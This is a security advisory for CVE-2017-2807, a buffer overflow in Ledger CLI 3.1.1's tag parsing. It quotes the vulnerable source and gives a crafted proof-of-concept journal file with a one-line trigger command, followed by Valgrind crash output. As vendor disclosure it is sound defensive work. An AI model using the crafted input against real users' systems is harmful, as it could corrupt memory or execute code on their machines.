Lucene search

K
seebugRootSSV:96445
HistorySep 12, 2017 - 12:00 a.m.

Ledger CLI Tags Parsing Code Execution Vulnerability(CVE-2017-2807)

2017-09-1200:00:00
Root
www.seebug.org
26

0.004 Low

EPSS

Percentile

74.8%

Summary

An exploitable buffer overflow vulnerability exists in the tag parsing functionality of Ledger-CLI 3.1.1. A specially crafted journal file can cause a integer underflow resulting in code execution. An attacker can construct a malicious journal file to trigger this vulnerability.

Tested Versions

Ledger CLI 3.1.1

Product URLs

http://ledger-cli.org

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

Ledger CLI is an accounting system accessed via the command line. Ledger leverages data provided by the user to provide very detailed financial reports and analytics.
When parsing the tags in a journal file, a size of the tag is constructed by subtracting two pointers pointing to the ends of the tag. This size is used directly to copy file data into a static buffer. This subtraction can result in an integer underflow, forcing a large value to be be used in the subsequent strnpcy.

src/items.cc:147

void item_t::parse_tags(const char * p,
                        scope_t&     scope,
                        bool         overwrite_existing)
{
if (! std::strchr(p, ':')) {
    if (const char * b = std::strchr(p, '[')) {
        if (*(b + 1) != '\0' &&
            (std::isdigit(*(b + 1)) || *(b + 1) == '=')) {
            if (const char * e = std::strchr(p, ']')) {
                char buf[256];
                std::strncpy(buf ,b + 1, static_cast<std::size_t>(e - b - 1));

An example journal file exercising this vulnerability is shown below:

$ cat poc.dat
2003/12/20 Organic Co-op
  Expenses:Food:Groceries             $ 37.50  ; ] [=2004/01/01]

Note the ] that comes before [ after the ;. These resultant pointers cause the integer overflow resulting in the buffer overflow.

Crash Information

==10500== Memcheck, a memory error detector
==10500== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==10500== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==10500== Command: ../ledger-3.1.1/ledger -f ../ledger-raw/test.poc reg
==10500==
==10500== Invalid write of size 1
==10500==    at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==10500==    by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157)
==10500==  Address 0xfff001000 is not stack'd, malloc'd or (recently) free'd
==10500==
==10500==
==10500== Process terminating with default action of signal 11 (SIGSEGV)
==10500==  Access not within mapped region at address 0xFFF001000
==10500==    at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==10500==    by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157)
==10500==  If you believe this happened as a result of a stack
==10500==  overflow in your program's main thread (unlikely but
==10500==  possible), you can try to increase the size of the
==10500==  main thread stack using the --main-stacksize= flag.
==10500==  The main thread stack size used in this run was 8388608.
==10500==
==10500== HEAP SUMMARY:
==10500==     in use at exit: 251,247 bytes in 143 blocks
==10500==   total heap usage: 228 allocs, 85 frees, 263,470 bytes allocated
==10500==
==10500== LEAK SUMMARY:
==10500==    definitely lost: 279 bytes in 6 blocks
==10500==    indirectly lost: 0 bytes in 0 blocks
==10500==      possibly lost: 0 bytes in 0 blocks
==10500==    still reachable: 250,968 bytes in 137 blocks
==10500==                       of which reachable via heuristic:
==10500==                         newarray           : 64 bytes in 4 blocks
==10500==                         multipleinheritance: 1,376 bytes in 1 blocks
==10500==         suppressed: 0 bytes in 0 blocks
==10500== Rerun with --leak-check=full to see details of leaked memory
==10500==
==10500== For counts of detected and suppressed errors, rerun with: -v
==10500== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Exploit Proof-of-Concept

./ledger -f poc.dat register

Timeline

  • 2017-04-07 - Vendor Disclosure
  • 2017-08-30 - Public Release

CREDIT

  • Discovered by Cory Duplantis of Cisco Talos.